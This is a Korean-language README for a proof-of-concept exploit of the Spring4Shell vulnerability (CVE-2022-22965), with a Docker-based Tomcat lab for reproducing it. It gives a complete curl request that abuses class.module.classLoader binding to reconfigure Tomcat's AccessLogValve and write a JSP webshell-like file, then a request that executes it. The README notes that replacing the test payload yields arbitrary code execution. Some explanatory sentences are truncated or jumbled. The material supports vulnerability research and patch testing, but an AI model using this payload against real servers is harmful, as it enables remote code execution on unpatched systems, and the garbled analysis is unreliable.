
CVE-2022-22965 (Spring4Shell)에 대한 개념 증명 익스플로잇으로, Tomcat AccessLogValve 조작을 통한 원격 코드 실행을 시연합니다. Docker 기반 재현 환경과 상세한 기술 분석이 포함되어 있습니다.
CVE-2022-22965 Spring RCE를 재현하는 최소 예제입니다.
docker-compose up --build
./exploits/run.sh
webapps/handling-form-submission-complete 디렉토리에 rce.jsp 파일을 생성합니다.Docker에서 Tomcat 서버 실행
docker run -p 8888:8080 --rm --interactive --tty --name vm1 tomcat:9.0
원격 디버깅을 원한다면 -p 5005:5005 -e "JAVA_OPTS=-Xdebug -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005"를 추가합니다.
프로젝트 빌드
./mvnw install
앱 배포
docker cp target/handling-form-submission-complete.war vm1:/usr/local/tomcat/webapps
익스플로잇 작성
curl -X POST \
-H "pre:<%" \
-H "post:;%>" \
-F 'class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{pre}iSystem.out.println(123)%{post}i' \
-F 'class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp' \
-F 'class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/handling-form-submission-complete' \
-F 'class.module.classLoader.resources.context.parent.pipeline.first.prefix=rce' \
-F 'class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=' \
http://localhost:8888/handling-form-submission-complete/greeting
익스플로잇이 웹 서버의 webapps/handling-form-submission-complete에 rce.jsp 파일을 생성합니다.
익스플로잇 사용
curl http://localhost:8888/handling-form-submission-complete/rce.jsp
이제 컨테이너 터미널에서 123이 표시됩니다. System.out.println(123)을 원하는 페이로드로 바꾸면 임의 코드를 실행할 수 있습니다.
GreetingController는 /greeting 엔드포인트의 POST 요청을 처리하고 폼 필드를 Greeting 객체에 바인딩합니다.user.info.firstname)의 바인딩도 지원합니다. 자세한 내용은 AbstractNestablePropertyAccessor를 참조하세요.Greeting 클래스는 id와 content라는 두 필드를 가지고 있지만, 실제로는 Class 객체에 대한 참조도 가지고 있습니다. class.module.classLoader를 폼 데이터 키로 사용하여 클래스로더에 접근할 수 있습니다.module 속성을 포함한 대부분의 Class 객체 속성에 대한 접근을 제한한 것임을 알 수 있습니다.Greeting 클래스에서 접근 가능한 중첩 참조 체인을 통해 클래스의 공용 속성을 설정할 수 있습니다. 그 이상은 아닙니다. 대부분의 경우 class.module.classLoader.에서도 공용 필드가 있는 클래스를 사용할 수 없기 때문에 위험하지 않습니다.이 익스플로잇은 특수 클래스로더를 가지고 있기 때문에 Tomcat에서만 작동합니다. 유사한 참조 체인이 다른 웹 애플리케이션 서버에도 존재할 수 있지만 아직 발견되지 않았습니다.
익스플로잇은 Java 9 이상이 필요합니다. module 속성이 Java 9에서 추가되었기 때문입니다.
getResources 접근자를 가지고 있어 참조 체인을 계속 이어가 AccessLogValve 클래스의 인스턴스 중 하나에 접근할 수 있기 때문에 문제가 됩니다.jsp 파일을 생성합니다. jsp는 Tomcat에 의해 자동으로 실행되므로 브라우저에서 해당 파일로 이동하여 페이로드를 실행할 수 있습니다. 이제 RCE가 됩니다.